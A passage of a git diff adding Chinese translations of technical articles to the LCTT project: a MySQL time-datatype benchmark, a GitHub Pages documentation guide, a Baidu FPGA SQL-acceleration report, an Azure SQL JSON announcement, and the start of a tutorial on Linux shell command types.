vertabelo.timestampmeasures m WHERE m.measured_on > '2016-01-01 00:00:00.0' AND m.measured_on < '2016-02-01 00:00:00.0'" --host=localhost --user=root --concurrency=8 --iterations=100 --no-drop --create-schema=vertabelo +``` + +#### 查询 1 和 INT: + +```SQL +SELECT SQL_NO_CACHE + measured_on +FROM + vertabelo.inttimestampmeasures m +WHERE + FROM_UNIXTIME(m.measured_on) > '2016-01-01 00:00:00.0' + AND FROM_UNIXTIME(m.measured_on) < '2016-02-01 00:00:00.0'; +``` + +#### 性能 + +| 响应时间 (ms) | Sysbench | mysqlslap | +|-------------|----------|-----------| +| 最小 | 2472 | 7968 | +| 最大 | 6554 | 10312 | +| 平均 | 4107 | 8527 | + +```bash +Sysbench cmd> sysbench --MySQL-table-engine=innodb --MySQL-db=vertabelo --MySQL-user=root --MySQL-host=localhost --MySQL-password= --test=int.lua --num-threads=8 --max-requests=100 run +``` + +```bash +mysqlslap cmd> mysqlslap --query="SELECT SQL_NO_CACHE measured_on FROM vertabelo.inttimestampmeasures m WHERE FROM_UNIXTIME(m.measured_on) > '2016-01-01 00:00:00.0' AND FROM_UNIXTIME(m.measured_on) < '2016-02-01 00:00:00.0'" --host=localhost --user=root --concurrency=8 --iterations=100 --no-drop --create-schema=vertabelo +``` + +#### 另一种 INT 上的查询 1: + +由于这是个相当直接的范围搜索,而且查询中的日期可以轻易地转为简单的数值比较,我将它包含在了这个测试中。结果证明这是最快的方法 (你大概已经预料到了),因为它仅仅是比较数字而没有使用任何日期转换函数: + +```SQL +SELECT SQL_NO_CACHE + measured_on +FROM + vertabelo.inttimestampmeasures m +WHERE + m.measured_on > 1451617200 + AND m.measured_on < 1454295600; +``` + +#### 性能 + +| 响应时间 (ms) | Sysbench | mysqlslap | +|-------------|----------|-----------| +| 最小 | 88 | 171 | +| 最大 | 275 | 2157 | +| 平均 | 165 | 514 | + +```bash +Sysbench cmd> sysbench --MySQL-table-engine=innodb --MySQL-db=vertabelo --MySQL-user=root --MySQL-host=localhost --MySQL-password= --test=basic_int.lua --num-threads=8 --max-requests=100 run +``` + +```bash +mysqlslap cmd> mysqlslap --query="SELECT SQL_NO_CACHE measured_on FROM vertabelo.inttimestampmeasures m WHERE m.measured_on > 1451617200 AND m.measured_on < 1454295600" --host=localhost --user=root --concurrency=8 --iterations=100 --no-drop --create-schema=vertabelo +``` + +#### 测试 1 总结 + +| 平均响应时间 (ms) | Sysbench | 相对于 Datetime 的速度 | mysqlslap | 相对于 Datetime 的速度 | +|-----------------|----------|----------------------|-----------|----------------------| +| Datetime | 362 | - | 809 | - | +| Timestamp | 431 | 慢 19% | 1004 | 慢 24% | +| INT | 4107 | 慢 1134% | 8527 | 慢 1054% | +| 另一种 INT 查询 | 165 | 快 55% | 514 | 快 36% | + +两种基准测试工具都显示 Datetime 比 Timestamp 和 INT 更快。但 Datetime 没有我们在另一种 INT 查询中使用的简单数值比较快。 + +### 测试 2:选择星期一产生的记录 + +这个查询返回总计 1,497,421 行记录中的 221,850 行。 + +#### 查询 2 和 Datetime: + +```SQL +SELECT SQL_NO_CACHE measured_on +FROM + vertabelo.datetimemeasures m +WHERE + WEEKDAY(m.measured_on) = 0; # MONDAY +``` + +#### 性能 + +| 响应时间 (ms) | Sysbench | mysqlslap | +|-------------|----------|-----------| +| 最小 | 1874 | 4343 | +| 最大 | 6168 | 7797 | +| 平均 | 3127 | 6103 | + +```bash +Sysbench cmd> sysbench --MySQL-table-engine=innodb --MySQL-db=vertabelo --MySQL-user=root --MySQL-host=localhost --MySQL-password= --test=datetime_1.lua --num-threads=8 --max-requests=100 run +``` + +```bash +mysqlslap cmd> mysqlslap --query="SELECT SQL_NO_CACHE measured_on FROM vertabelo.datetimemeasures m WHERE WEEKDAY(m.measured_on) = 0" --host=localhost --user=root --concurrency=8 --iterations=25 --no-drop --create-schema=vertabelo +``` + +#### 查询 2 和 Timestamp: + +```SQL +SELECT SQL_NO_CACHE + measured_on +FROM + vertabelo.timestampmeasures m +WHERE + WEEKDAY(m.measured_on) = 0; # MONDAY +``` + +#### 性能 + +| 响应时间 (ms) | Sysbench | mysqlslap | +|-------------|----------|-----------| +| 最小 | 2688 | 5953 | +| 最大 | 6666 | 13531 | +| 平均 | 3653 | 8412 | + +```bash +Sysbench cmd> sysbench --MySQL-table-engine=innodb --MySQL-db=vertabelo --MySQL-user=root --MySQL-host=localhost --MySQL-password= --test=timestamp_1.lua --num-threads=8 --max-requests=100 run +``` + +```bash +mysqlslap cmd> mysqlslap --query="SELECT SQL_NO_CACHE measured_on FROM vertabelo.timestampmeasures m WHERE WEEKDAY(m.measured_on) = 0" --host=localhost --user=root --concurrency=8 --iterations=25 --no-drop --create-schema=vertabelo +``` + +#### 查询 2 和 INT: + +```SQL +SELECT SQL_NO_CACHE + measured_on +FROM + vertabelo.inttimestampmeasures m +WHERE + WEEKDAY(FROM_UNIXTIME(m.measured_on)) = 0; # MONDAY +``` + +#### 性能 + +| 响应时间 (ms) | Sysbench | mysqlslap | +|-------------|----------|-----------| +| 最小 | 2051 | 5844 | +| 最大 | 7007 | 10469 | +| 平均 | 3486 | 8088 | + + +```bash +Sysbench cmd> sysbench --MySQL-table-engine=innodb --MySQL-db=vertabelo --MySQL-user=root --MySQL-host=localhost --MySQL-password= --test=int_1.lua --num-threads=8 --max-requests=100 run +``` + +```bash +mysqlslap cmd> mysqlslap --query="SELECT SQL_NO_CACHE measured_on FROM vertabelo.inttimestampmeasures m WHERE WEEKDAY(FROM_UNIXTIME(m.measured_on)) = 0" --host=localhost --user=root --concurrency=8 --iterations=25 --no-drop --create-schema=vertabelo +``` + +#### 测试 2 总结 + +| 平均响应时间 (ms) | Sysbench | 相对于 Datetime 的速度 | mysqlslap | 相对于 Datetime 的速度 | +|-----------------|----------|----------------------|-----------|----------------------| +| Datetime | 3127 | - | 6103 | - | +| Timestamp | 3653 | 慢 17% | 8412 | 慢 38% | +| INT | 3486 | 慢 11% | 8088 | 慢 32% | + +再次,在两个基准测试工具中 Datetime 比 Timestamp 和 INT 快。但在这个测试中,INT 查询 —— 即使它使用了一个函数以转换日期 —— 比 Timestamp 查询更快得到结果。 + +### 测试 3:选择星期一产生的记录总数 + +这个查询返回一行,包含产生于星期一的所有记录的总数(从总共 1,497,421 行可用记录中)。 + +#### 查询 3 和 Datetime: + +```SQL +SELECT SQL_NO_CACHE + COUNT(measured_on) +FROM + vertabelo.datetimemeasures m +WHERE + WEEKDAY(m.measured_on) = 0; # MONDAY +``` + +#### 性能 + +| 响应时间 (ms) | Sysbench | mysqlslap | +|-------------|----------|-----------| +| 最小 | 1720 | 4063 | +| 最大 | 4594 | 7812 | +| 平均 | 2797 | 5540 | + +```bash +Sysbench cmd> sysbench --MySQL-table-engine=innodb --MySQL-db=vertabelo --MySQL-user=root --MySQL-host=localhost --MySQL-password= --test=datetime_1_count.lua --num-threads=8 --max-requests=100 run +``` + +```bash +mysqlslap cmd> mysqlslap --query="SELECT SQL_NO_CACHE COUNT(measured_on) FROM vertabelo.datetimemeasures m WHERE WEEKDAY(m.measured_on) = 0" --host=localhost --user=root --concurrency=8 --iterations=25 --no-drop --create-schema=vertabelo +``` + +#### 查询 3 和 Timestamp: + +```SQL +SELECT SQL_NO_CACHE + COUNT(measured_on) +FROM + vertabelo.timestampmeasures m +WHERE + WEEKDAY(m.measured_on) = 0; # MONDAY +``` + +#### 性能 + +| 响应时间 (ms) | Sysbench | mysqlslap | +|-------------|----------|-----------| +| 最小 | 1907 | 4578 | +| 最大 | 5437 | 10235 | +| 平均 | 3408 | 7102 | + +```bash +Sysbench cmd> sysbench --MySQL-table-engine=innodb --MySQL-db=vertabelo --MySQL-user=root --MySQL-host=localhost --MySQL-password= --test=timestamp_1_count.lua --num-threads=8 --max-requests=100 run +``` + +```bash +mysqlslap cmd> mysqlslap --query="SELECT SQL_NO_CACHE COUNT(measured_on) FROM vertabelo.timestampmeasures m WHERE WEEKDAY(m.measured_on) = 0" --host=localhost --user=root --concurrency=8 --iterations=25 --no-drop --create-schema=vertabelo +``` + +#### 查询 3 和 INT: + +```SQL +SELECT SQL_NO_CACHE + COUNT(measured_on) +FROM + vertabelo.inttimestampmeasures m +WHERE + WEEKDAY(FROM_UNIXTIME(m.measured_on)) = 0; # MONDAY +``` + +#### 性能 + +| 响应时间 (ms) | Sysbench | mysqlslap | +|-------------|----------|-----------| +| 最小 | 2108 | 5609 | +| 最大 | 4764 | 9735 | +| 平均 | 3307 | 7416 | + +```bash +Sysbench cmd> sysbench --MySQL-table-engine=innodb --MySQL-db=vertabelo --MySQL-user=root --MySQL-host=localhost --MySQL-password= --test=int_1_count.lua --num-threads=8 --max-requests=100 run +``` + +```bash +mysqlslap cmd> mysqlslap --query="SELECT SQL_NO_CACHE COUNT(measured_on) FROM vertabelo.inttimestampmeasures m WHERE WEEKDAY(FROM_UNIXTIME(m.measured_on)) = 0" --host=localhost --user=root --concurrency=8 --iterations=25 --no-drop --create-schema=vertabelo +``` + +#### 测试 3 总结 + +| 平均响应时间 (ms) | Sysbench | 相对于 Datetime 的速度 | mysqlslap | 相对于 Datetime 的速度 | +|-----------------|----------|----------------------|-----------|----------------------| +| Datetime | 2797 | - | 5540 | - | +| Timestamp | 3408 | 慢 22% | 7102 | 慢 28% | +| INT | 3307 | 慢 18% | 7416 | 慢 33% | + +再一次,两个基准测试工具都显示 Datetime 比 Timestamp 和 INT 快。不能判断 INT 是否比 Timestamp 快,因为 mysqlslap 显示 INT 比 Timestamp 略快而 Sysbench 却相反。 + +_注意:_ 所有测试都是在一台 Windows 10 机器上本地运行的,这台机器拥有一个双核 i7 CPU,16GB 内存,运行 MariaDB v10.1.9,使用 innoDB 引擎。 + +## 结论 + +基于这些数据,我确信 Datetime 是大多数场景下的最佳选择。原因是: + +* 更快(根据我们的三个基准测试)。 +* 无需任何转换即是人类可读的。 +* 不会因为时区变换产生问题。 +* 只比它的对手们多用 1 字节 +* 支持更大的日期范围(从 1000 年到 9999 年) + +如果你只是存储 Unix 时间戳(并且在它的合法日期范围内),而且你真的不打算在它上面使用任何基于日期的查询,我觉得使用 INT 是可以的。我们已经看到,它执行简单数值比较查询时非常快,因为只是在处理简单的数字。 + +Timestamp 怎么样呢?如果 Datetime 相对于 Timestamp 的优势不适用于你特殊的场景,你最好使用时间戳。阅读这篇文章后,你对三种类型间的区别应该有了更好的理解,可以根据你的需要做出最佳的选择。 + +-------------------------------------------------------------------------------- + +via: http://www.vertabelo.com/blog/technical-articles/what-datatype-should-you-use-to-represent-time-in-mysql-we-compare-datetime-timestamp-and-int + +作者:[Francisco Claria][a] +译者:[bianjp](https://github.com/bianjp) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.axones.com.ar/ diff --git a/published/201609/20160823 Publish Your Project Documentation with GitHub Pages.md b/published/201609/20160823 Publish Your Project Documentation with GitHub Pages.md new file mode 100644 index 0000000000..762597195e --- /dev/null +++ b/published/201609/20160823 Publish Your Project Documentation with GitHub Pages.md @@ -0,0 +1,49 @@ +使用 Github Pages 发布你的项目文档 +===== + +你可能比较熟悉[如何用 Github Pages 来分享你的工作][3],又或许你看过[一堂][4]教你建立你的第一个 Github Pages 网站的教程。近期 Github Pages 的改进使得[从不同的数据源来发布您的网站][5]更加的方便,其中的来源之一就是你的仓库的 /docs 目录。 + +文档的质量是一个软件项目健康发展的标志。对于开源项目来说,维护一个可靠而不出错的知识库、详细说明所有的细节是至关重要的。精心策划的文档可以让增加项目的亲切感,提供一步步的指导并促进各种方式的合作可以推动开源软件开发的协作进程。 + +在 Web 上托管你的文档是一个消耗时间的挑战,而且对于它的发布和维护也没有省事的办法,然而这是并非不可避免的。面对多种不同的发布工具,又是 FTP 服务器,又是数据库,文件以各种不同的方式存放在不同的位置下,而这些都需要你手动来调整。需要说明的是,传统的 Web 发布方式提供了无与伦比的灵活性和性能,但是在许多情况下,这是以牺牲简单易用为代价的。 + +当作为文档使用时,麻烦更少的方式显然更容易去维护。 + +[GitHub Pages][2] 可以以指定的方式为你的项目创建网站,这使得它天然地适合发布和维护文档。因为 Github Pages 支持 Jekyll,所以你可以使用纯文本或 Markdown 来书写你的文档,从而降低你维护的成本、减少维护时的障碍。Jekyll 还支持许多有用的工具比如变量、模板、以及自动代码高亮等等,它会给你更多的灵活性而不会增加复杂性,这些你在一些笨重的平台是见不到的。 + +最重要的是,在 Github 上使用 GitHub Pages 意味着你的文档和代码可以使用诸如 Issues 和 Pull Requests 来确保它得到应有的高水平维护,而且因为 GitHub Pages 允许您发布代码库主分支上的 /docs 目录,这样您就可以在同一分支同时维护你的代码库及其文档。 + +### 现在开始! + +发布你的第一个文档页面只需要短短几分钟。 + +1. 在你的仓库的主分支里创建一个 /docs/index.md 文件。 + +2. 把你的内容以 Jekyll 格式添加进去,并提交你的修改。 + + ![](https://cloud.githubusercontent.com/assets/3477155/17778793/47c5a586-6533-11e6-982c-ebd41ec6968c.gif) + +3. 查看你的仓库的设置分支然后选择主分支 /docs 目录,将其设置为 GitHub Pages 的源 ,点击保存,你就搞定了。 + +![](https://cloud.githubusercontent.com/assets/3477155/17778792/47c2ecc4-6533-11e6-828a-91980daa7297.gif) + +GitHub Pages 将会从你的 /docs 目录中读取内容,转换 index.md 为 HTML。然后把它发布到你的 GitHub Pages 的 URL 上。 + +这样将会创建并输出一个最基础的 HTML ,而且你可以使用 Jekyll 的自定义模板、CSS 和其他特性。如果想要看所有的可能,你可以看看 [GitHub Pages Showcase][1]。 + +-------------------------------------------------------------------------------- + +via: https://github.com/blog/2233-publish-your-project-documentation-with-github-pages + +作者:[loranallensmith][a] +译者:[Bestony](https://github.com/bestony) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://github.com/loranallensmith +[1]: https://github.com/showcases/github-pages-examples +[2]: https://pages.github.com/ +[3]: https://www.youtube.com/watch?v=2MsN8gpT6jY +[4]: https://www.youtube.com/watch?v=RaKX4A5EiQo +[5]: https://help.github.com/articles/configuring-a-publishing-source-for-github-pages/ diff --git a/published/201609/20160824 Baidu Takes FPGA Approach to Accelerating SQL at Scale.md b/published/201609/20160824 Baidu Takes FPGA Approach to Accelerating SQL at Scale.md new file mode 100644 index 0000000000..c53cf1f982 --- /dev/null +++ b/published/201609/20160824 Baidu Takes FPGA Approach to Accelerating SQL at Scale.md @@ -0,0 +1,48 @@ +百度运用 FPGA 方法大规模加速 SQL 查询 +=================================================================== + +尽管我们对百度今年工作焦点的关注集中在这个中国搜索巨头在深度学习方面的举措上,许多其他的关键的,尽管不那么前沿的应用表现出了大数据带来的挑战。 + +正如百度的欧阳剑在本周 Hot Chips 大会上谈论的,百度坐拥超过 1 EB 的数据,每天处理大约 100 PB 的数据,每天更新 100 亿的网页,每 24 小时更新处理超过 1 PB 的日志更新,这些数字和 Google 不分上下,正如人们所想象的。百度采用了类似 Google 的方法去大规模地解决潜在的瓶颈。 + +正如刚刚我们谈到的,Google 寻找一切可能的方法去打败摩尔定律,百度也在进行相同的探索,而令人激动的、使人着迷的机器学习工作是迷人的,业务的核心关键任务的加速同样也是,因为必须如此。欧阳提到,公司基于自身的数据提供高端服务的需求和 CPU 可以承载的能力之间的差距将会逐渐增大。 + +![](http://www.nextplatform.com/wp-content/uploads/2016/08/BaiduFPGA1.png) + +对于百度的百亿亿级问题,在所有数据的接受端是一系列用于数据分析的框架和平台,从该公司的海量知识图谱,多媒体工具,自然语言处理框架,推荐引擎,和点击流分析都是这样。简而言之,大数据的首要问题就是这样的:一系列各种应用和与之匹配的具有压倒性规模的数据。 + +当谈到加速百度的大数据分析,所面临的几个挑战,欧阳谈到抽象化运算核心去寻找一个普适的方法是困难的。“大数据应用的多样性和变化的计算类型使得这成为一个挑战,把所有这些整合成为一个分布式系统是困难的,因为有多变的平台和编程模型(MapReduce,Spark,streaming,user defined,等等)。将来还会有更多的数据类型和存储格式。” + +尽管存在这些障碍,欧阳讲到他们团队找到了(它们之间的)共同线索。如他所指出的那样,那些把他们的许多数据密集型的任务相连系在一起的就是传统的 SQL。“我们的数据分析任务大约有 40% 是用 SQL 写的,而其他的用 SQL 重写也是可用做到的。” 更进一步,他讲道他们可以享受到现有的 SQL 系统的好处,并可以和已有的框架相匹配,比如 Hive,Spark SQL,和 Impala 。下一步要做的事情就是 SQL 查询加速,百度发现 FPGA 是最好的硬件。 + +![](http://www.nextplatform.com/wp-content/uploads/2016/08/BaiduFPGA2.png) + +这些主板,被称为处理单元( 下图中的 PE ),当执行 SQL 时会自动地处理关键的 SQL 功能。这里所说的都是来自演讲,我们不承担责任。确切的说,这里提到的 FPGA 有点神秘,或许是故意如此。如果百度在基准测试中得到了如下图中的提升,那这可是一个有竞争力的信息。后面我们还会继续介绍这里所描述的东西。简单来说,FPGA 运行在数据库中,当其收到 SQL 查询的时候,该团队设计的软件就会与之紧密结合起来。 + +![](http://www.nextplatform.com/wp-content/uploads/2016/08/BaiduFPGA3.png) + +欧阳提到了一件事,他们的加速器受限于 FPGA 的带宽,不然性能表现本可以更高,在下面的评价中,百度安装了 2 块12 核心,主频 2.0 GHz 的 intl E26230 CPU,运行在 128G 内存。SDA 具有 5 个处理单元,(上图中的 300MHz FPGA 主板)每个分别处理不同的核心功能(筛选(filter),排序(sort),聚合(aggregate),联合(join)和分组(group by)) + +为了实现 SQL 查询加速,百度针对 TPC-DS 的基准测试进行了研究,并且创建了称做处理单元(PE)的特殊引擎,用于在基准测试中加速 5 个关键功能,这包括筛选(filter),排序(sort),聚合(aggregate),联合(join)和分组(group by),(我们并没有把这些单词都像 SQL 那样大写)。SDA 设备使用卸载模型,具有多个不同种类的处理单元的加速卡在 FPGA 中组成逻辑,SQL 功能的类型和每张卡的数量由特定的工作量决定。由于这些查询在百度的系统中执行,用来查询的数据被以列格式推送到加速卡中(这会使得查询非常快速),而且通过一个统一的 SDA API 和驱动程序,SQL 查询工作被分发到正确的处理单元而且 SQL 操作实现了加速。 + +SDA 架构采用一种数据流模型,加速单元不支持的操作被退回到数据库系统然后在那里本地运行,比其他任何因素,百度开发的 SQL 加速卡的性能被 FPGA 卡的内存带宽所限制。加速卡跨整个集群机器工作,顺便提一下,但是数据和 SQL 操作如何分发到多个机器的准确原理没有被百度披露。 + +![](http://www.nextplatform.com/wp-content/uploads/2016/08/BaiduFPGA4.png) + +![](http://www.nextplatform.com/wp-content/uploads/2016/08/BaiduFPGA5.png) + +我们受限与百度所愿意披露的细节,但是这些基准测试结果是十分令人鼓舞的,尤其是 Terasort 方面,我们将在 Hot Chips 大会之后跟随百度的脚步去看看我们是否能得到关于这是如何连接到一起的和如何解决内存带宽瓶颈的细节。 + +-------------------------------------------------------------------------------- + +via: http://www.nextplatform.com/2016/08/24/baidu-takes-fpga-approach-accelerating-big-sql/ + +作者:[Nicole Hemsoth][a] +译者:[LinuxBars](https://github.com/LinuxBars) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.nextplatform.com/author/nicole/ +[1]: http://www.nextplatform.com/?s=baidu+deep+learning +[2]: http://www.hotchips.org/wp-content/uploads/hc_archives/hc26/HC26-12-day2-epub/HC26.12-5-FPGAs-epub/HC26.12.545-Soft-Def-Acc-Ouyang-baidu-v3--baidu-v4.pdf diff --git a/published/201609/20160824 JSON support is generally available in Azure SQL Database.md b/published/201609/20160824 JSON support is generally available in Azure SQL Database.md new file mode 100644 index 0000000000..42c38958fc --- /dev/null +++ b/published/201609/20160824 JSON support is generally available in Azure SQL Database.md @@ -0,0 +1,53 @@ +Azure SQL 数据库已经支持 JSON +=========== + +我们很高兴地宣布你现在可以在 Azure SQL 中查询及存储关系型数据或者 JSON 了、Azure SQL 数据库提供了读取 JSON 文本数据的简单的内置函数,将 JSON 文本转化成表,以及将表的数据转化成 JSON。 + +![](https://azurecomcdn.azureedge.net/mediahandler/acomblog/media/Default/blog/1cc536a5-a822-467b-a4a2-4557746f70cc.png) + +你可以使用 JSON 函数来从 JSON 文本中提取值([JSON_VALUE][4])、提取对象([JSON_QUERY][5]), 更新JSON 中的值([JSON_MODIFY][6]),并且验证 JSON 文本的正确性([ISJSON][7])。[OPENJSON][8] 函数让你可以将 JSON 文本转化成表结构。最后,JSON 功能函数可以让你很简单地从 SQL 查询中使用 [FOR JSON][9] 从句来获得 JSON 文本结果。 + +### 你可以用 JSON 做什么? + +Azure SQL 数据库中的 JSON 可以让您构建并与现代 web、移动设备和 HTML5/单页应用、诸如 Azure DocumentDB 等包含 JSON 格式化数据的 NoSQL 存储等交换数据,分析来自不同系统和服务的日志和消息。现在你可以轻易地将 Azure SQL 数据库与任何使用使用 JSON 的服务集成。 + +#### 轻易地开放数据给现代框架和服务 + +你有没有在使用诸如 REST 或者 Azure App 使用 JSON 来交换数据的服务?你有使用诸如 AngularJS、ReactJS、D3 或者 JQuery 等使用 JSON 的组件或框架么?使用新的 JSON 功能函数,你可以轻易地格式化存储在 Azure SQL 数据库中的数据,并将它用在任何现代服务或者应用中。 + +#### 轻松采集 JSON 数据 + +你有在使用移动设备、传感器、如 Azure Stream Analytics 或者 Insight 这样产生 JSON 的服务、如 Azure DocumentDB 或者 MongoDB 这样存储 JSON 的系统么?你需要在 Azure SQL 数据中使用熟悉的 SQL 语句来查询并分析 JSON 数据么?现在你可以轻松采集 JSON 数据并存储到 Azure SQL 数据库中,并且可以使用任何 Azure SQL 数据库支持的语言或者工具来查询和分析加载的数据。 + +#### 简化你的数据模型 + +你需要同时存储及查询数据库中关系型及半结构化的数据么?你需简化像 NoSQL 平台下的数据模型么?现在你可以在一张表中同时存储结构化数据及非结构化数据了。在 Azure SQL 数据库中,你可以同时从关系型及 NoSQL 的世界中使用最好的方法来调整你的数据模型。Azure SQL 数据库让你可以使用 Transact-SQL 语言来查询关系及 JSON 数据。程序和工具将不会在从表中取出的值及 JSON 文本中提取的值看出差别。 + +### 下一步 + +要学习如何在你的应用中集成 JSON,查看我们的[开始学习][1]页面或者 [Channel 9的视频][2]。要了解不同的情景下如何集成 JSON,观看 Channel 9 的视频或者在这些 [JSON 分类文章][3]中查找你感兴趣的使用情景。 + +我们将持续增加新的 JSON 特性并让 JSON 支持的更好。请敬请关注。 + + +-------------------------------------------------------------------------------- + +via: https://azure.microsoft.com/en-us/blog/json-support-is-generally-available-in-azure-sql-database/ + +作者:[Jovan Popovic][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://azure.microsoft.com/en-us/blog/author/jovanpop/ +[1]: https://azure.microsoft.com/en-us/documentation/articles/sql-database-json-features/ +[2]: https://channel9.msdn.com/Shows/Data-Exposed/SQL-Server-2016-and-JSON-Support +[3]: http://blogs.msdn.com/b/sqlserverstorageengine/archive/tags/json/ +[4]: https://msdn.microsoft.com/en-us/library/dn921898.aspx +[5]: https://msdn.microsoft.com/en-us/library/dn921884.aspx +[6]: https://msdn.microsoft.com/en-us/library/dn921892.aspx +[7]: https://msdn.microsoft.com/en-us/library/dn921896.aspx +[8]: https://msdn.microsoft.com/en-us/library/dn921885.aspx +[9]: https://msdn.microsoft.com/en-us/library/dn921882.aspx + diff --git a/published/201609/20160826 Understanding Different Classifications of Shell Commands and Their Usage in Linux.md b/published/201609/20160826 Understanding Different Classifications of Shell Commands and Their Usage in Linux.md new file mode 100644 index 0000000000..ee4bf420ff --- /dev/null +++ b/published/201609/20160826 Understanding Different Classifications of Shell Commands and Their Usage in Linux.md @@ -0,0 +1,217 @@ +理解 Linux 下 Shell 命令的不同分类及它们的用法 +==================== + +当你打算真正操纵好你的 Linux 系统,没有什么能比命令行界面更让你做到这一点。为了成为一个 Linux 高手,你必须能够理解 [Shell 命令的不同类型][1],并且会在终端下正确的使用它们。 + +在 Linux 下,命令有几种类型,对于一个 Linux 新手来说,知道不同命令的意思才能够高效和准确的使用它们。因此,在这篇文章里,我们将会遍及各种不同分类的 Linux Shell 命令。 + +需要注意一件非常重要的事:命令行界面和 Shell 是不同的,命令行界面只是为你提供一个访问 Shell 的方式。而 Shell ,它是可编程的,这使得它可以通过命令与内核进行交流。 + +下面列出了 Linux 下命令的不同种类: + +### 1. 程序可执行文件(文件系统 中的命令) + +当你执行一条命令的时候,Linux 通过从左到右搜索存储在 `$PATH` 环境变量中的目录来找到这条命令的可执行文件。 + +你可以像下面这样查看存储在 `$PATH` 中的目录: + +``` +$ echo $PATH +/home/aaronkilik/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games +``` + +在上面的命令中,目录 `/home/aaronkilik/bin` 将会被首先搜索,紧跟着是 `/usr/local/sbin`,然后一直接着下去。在搜索过程中,搜索顺序是至关重要的。 + +比如在 `/usr/bin` 目录里的文件系统中的命令: + +``` +$ ll /bin/ +``` + +样本输出: + +``` +total 16284 +drwxr-xr-x 2 root root 4096 Jul 31 16:30 ./ +drwxr-xr-x 23 root root 4096 Jul 31 16:29 ../ +-rwxr-xr-x 1 root root 6456 Apr 14 18:53 archdetect* +-rwxr-xr-x 1 root root 1037440 May 17 16:15 bash* +-rwxr-xr-x 1 root root 520992 Jan 20 2016 btrfs* +-rwxr-xr-x 1 root root 249464 Jan 20 2016 btrfs-calc-size* +lrwxrwxrwx 1 root root 5 Jul 31 16:19 btrfsck -> btrfs* +-rwxr-xr-x 1 root root 278376 Jan 20 2016 btrfs-convert* +-rwxr-xr-x 1 root root 249464 Jan 20 2016 btrfs-debug-tree* +-rwxr-xr-x 1 root root 245368 Jan 20 2016 btrfs-find-root* +-rwxr-xr-x 1 root root 270136 Jan 20 2016 btrfs-image* +-rwxr-xr-x 1 root root 249464 Jan 20 2016 btrfs-map-logical* +-rwxr-xr-x 1 root root 245368 Jan 20 2016 btrfs-select-super* +-rwxr-xr-x 1 root root 253816 Jan 20 2016 btrfs-show-super* +-rwxr-xr-x 1 root root 249464 Jan 20 2016 btrfstune* +-rwxr-xr-x 1 root root 245368 Jan 20 2016 btrfs-zero-log* +-rwxr-xr-x 1 root root 31288 May 20 2015 bunzip2* +-rwxr-xr-x 1 root root 1964536 Aug 19 2015 busybox* +-rwxr-xr-x 1 root root 31288 May 20 2015 bzcat* +lrwxrwxrwx 1 root root 6 Jul 31 16:19 bzcmp -> bzdiff* +-rwxr-xr-x 1 root root 2140 May 20 2015 bzdiff* +lrwxrwxrwx 1 root root 6 Jul 31 16:19 bzegrep -> bzgrep* +-rwxr-xr-x 1 root root 4877 May 20 2015 bzexe* +lrwxrwxrwx 1 root root 6 Jul 31 16:19 bzfgrep -> bzgrep* +-rwxr-xr-x 1 root root 3642 May 20 2015 bzgrep* +``` + +### 2. Linux 别名 + +这些是用户定义的命令,它们是通过 shell 内置命令 `alias` 创建的,其中包含其它一些带有选项和参数的 shell 命令。这个意图主要是使用新颖、简短的名字来替代冗长的命令。 + +创建一个别名的语法像下面这样: + +``` +$ alias newcommand='command -options' +``` + +通过下面的命令,可以列举系统中的所有别名: + +``` +$ alias -p +alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"' +alias egrep='egrep --color=auto' +alias fgrep='fgrep --color=auto' +alias grep='grep --color=auto' +alias l='ls -CF' +alias la='ls -A' +alias ll='ls -alF' +alias ls='ls --color=auto' +``` + +要在 Linux 中创建一个新的别名,仔细阅读下面的例子。 + +``` +$ alias update='sudo apt update' +$ alias upgrade='sudo apt dist-upgrade' +$ alias -p | grep 'up' +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/08/Create-Aliase-in-Linux.png) + +然而,上面这些我们创建的别名只能暂时的工作,当经过下一次系统启动后它们不再工作。你可以像下面展示的这样在 '.bashrc' 文件中设置永久别名。 + +![](http://www.tecmint.com/wp-content/uploads/2016/08/Set-Linux-Aliases-Permanent.png) + +添加以后,运行下面的命令来激活: + +``` +$ source ~/.bashrc +``` + +### 3. Linux Shell 保留字 + +在 shell 程序设计中,`if`、`then`、`fi`、`for`、`while`、`case`、`esac`、`else`、`until` 以及其他更多的字都是 shell 保留字。正如描述所暗示的,它们在 shell 中有特殊的含义。 + +你可以通过使用下面展示的 `type` 命令来列出所有的 shell 关键字: + +``` +$ type if then fi for while case esac else until +if is a shell keyword +then is a shell keyword +fi is a shell keyword +for is a shell keyword +while is a shell keyword +case is a shell keyword +esac is a shell keyword +else is a shell keyword +until is a shell keyword +``` + +### 4. Linux shell 函数 + +一个 shell 函数是一组在当前 shell 内一起执行的命令。函数有利于在 shell 脚本中实现特殊任务。在 shell 脚本中写 shell 函数的传统形式是下面这样: + +``` +function_name() { +command1 +command2 +...... +} +``` + +或者像这样: + +``` +function function_name { +command1 +command2 +...... +} +``` + +让我们看一看如何在一个名为 shell_functions.sh 的脚本中写 shell 函数。 + +``` +#!/bin/bash +#write a shell function to update and upgrade installed packages +upgrade_system(){ +sudo apt update; +sudo apt dist-upgrade; +} +#execute function +upgrade_system +``` + +取代通过命令行执行两条命令:`sudo apt update` 和 `sudo apt dist-upgrade`,我们在脚本内写了一个像执行一条单一命令一样来执行两条命令的 shell 函数 upgrade_system。 + +保存文件,然后使脚本可执行。最后像下面这样运行 shell 函数: + +``` +$ chmod +x shell_functions.sh +$ ./shell_functions.sh +``` + 